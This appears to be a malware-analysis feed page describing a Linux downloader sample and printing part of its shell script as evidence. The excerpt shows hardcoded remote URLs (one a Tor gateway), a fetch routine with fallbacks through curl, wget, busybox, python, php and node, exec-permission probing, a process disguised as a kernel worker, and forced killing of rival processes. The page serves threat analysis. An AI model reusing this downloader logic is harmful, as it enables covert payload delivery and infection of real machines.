Suspicious 90% linux Download

1e76ab91c210ea176e1f37c838784c85ccd6ad2d2b2f5761973756774aac0545

Malware downloader with anti-forensics

Hidden temp path with fallback downloads and local launchAArch64 (ARM64) architecture string

Evidence

curl command text includes URL or option lines 1–29
1#!/bin/sh
2
3N=kworkerd
4D=guard
5SRV=""
6SLUG="gvtyyyyu"
7REC="https://ud2x2mzrhm2nvhhazv6z2fcngr2x4suuqdragb5txzypfkhlcu7a.turbo-gateway.com/oPV9MzE7NNqc4M19nRRNNHV-SpSA4gMHs75w8qjrFT4"
8BOOT="https://pub-720ec92112d749e2a923776fab99461d.r2.dev/tor/boot"
9G0=""; G0A=""; G0S=""; G0SA=""; Y0=""; Y0A=""; K0=""; BE0=""
10B=${SRV%/bins}
11H=${B#*://}; H=${H%%/*}
12T=${B#*/d/}; T=${T%%/*}
13C=""
14
15
16have() { command -v "$1" >/dev/null 2>&1; }
17
18fetch() {
19 _o=$2; rm -f "$_o"
20 if have curl; then
21 curl -fsSL --connect-timeout 15 -m 900 -o "$_o" "$1" 2>/dev/null && [ -s "$_o" ] && return 0
22 curl -fsSL -k --connect-timeout 15 -m 900 -o "$_o" "$1" 2>/dev/null && [ -s "$_o" ] && return 0
23 rm -f "$_o"
24 fi
25 have wget && wget -q -T 120 -O "$_o" "$1" 2>/dev/null && [ -s "$_o" ] && return 0; rm -f "$_o"
26 have busybox && busybox wget -q -O "$_o" "$1" 2>/dev/null && [ -s "$_o" ] && return 0; rm -f "$_o"
27 have python3 && python3 -c 'import sys,urllib.request;urllib.request.urlretrieve(sys.argv[1],sys.argv[2])' "$1" "$_o" 2>/dev/null && [ -s "$_o" ] && return 0; rm -f "$_o"
28 have python && python -c 'import sys,urllib;urllib.urlretrieve(sys.argv[1],sys.argv[2])' "$1" "$_o" 2>/dev/null && [ -s "$_o" ] && return 0; rm -f "$_o"
29 have php && php -r 'file_put_conten …
chmod marks a variable path executable lines 29–76
29:96… ev/null && [ -s "$_o" ] && return 0; rm -f "$_o"
30 have node && node -e 'const fs=require("fs"),https=require("https"),http=require("http"),u=new URL(process.argv[1]),m=u.protocol==="https:"?https:http;m.get(u,r=>{const f=fs.createWriteStream(process.argv[2]);r.pipe(f);f.on("finish",()=>process.exit(r.statusCode<400?0:1));}).on("error",()=>process.exit(1));' "$1" "$_o" 2>/dev/null && [ -s "$_o" ] && return 0; rm -f "$_o"
31 return 1
32}
33
34fetch_stdout() {
35 have curl && curl -fsSL --connect-timeout 15 -m 60 "$1" 2>/dev/null && return 0
36 have wget && wget -q -T 60 -O - "$1" 2>/dev/null && return 0
37 have busybox && busybox wget -q -O - "$1" 2>/dev/null && return 0
38 have python3 && python3 -c 'import sys,urllib.request;sys.stdout.buffer.write(urllib.request.urlopen(sys.argv[1],timeout=40).read())' "$1" 2>/dev/null && return 0
39 return 1
40}
41
42sha_of() {
43 have sha256sum && sha256sum "$1" 2>/dev/null | cut -c1-64 && return 0
44 have busybox && busybox sha256sum "$1" 2>/dev/null | cut -c1-64 && return 0
45 have shasum && shasum -a 256 "$1" 2>/dev/null | cut -c1-64 && return 0
46 have openssl && openssl dgst -sha256 "$1" 2>/dev/null | sed 's/^.*= //' | cut -c1-64 && return 0
47 return 1
48}
49
50canexec() {
51 _t="$1/.x$$"
52 printf '#!/bin/sh\nexit 0\n' >"$_t" 2>/dev/null || return 1
53 chmod 755 "$_t" 2>/dev/null
54 "$_t" >/dev/null 2>&1
55 _r=$?
56 rm -f "$_t" 2>/dev/null
57 [ "$_r" = 0 ]
58}
⋯10 lines
69 [ "$_r" = 2 ]
70}
71pkill -9 -x "$D" >/dev/null 2>&1
72pkill -9 -x ".$D" >/dev/null 2>&1
73pkill -9 -x "$N" >/dev/null 2>&1
74pkill -9 -x kworker >/dev/null 2>&1
75
76for _p in /proc/[0-9]*; do

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.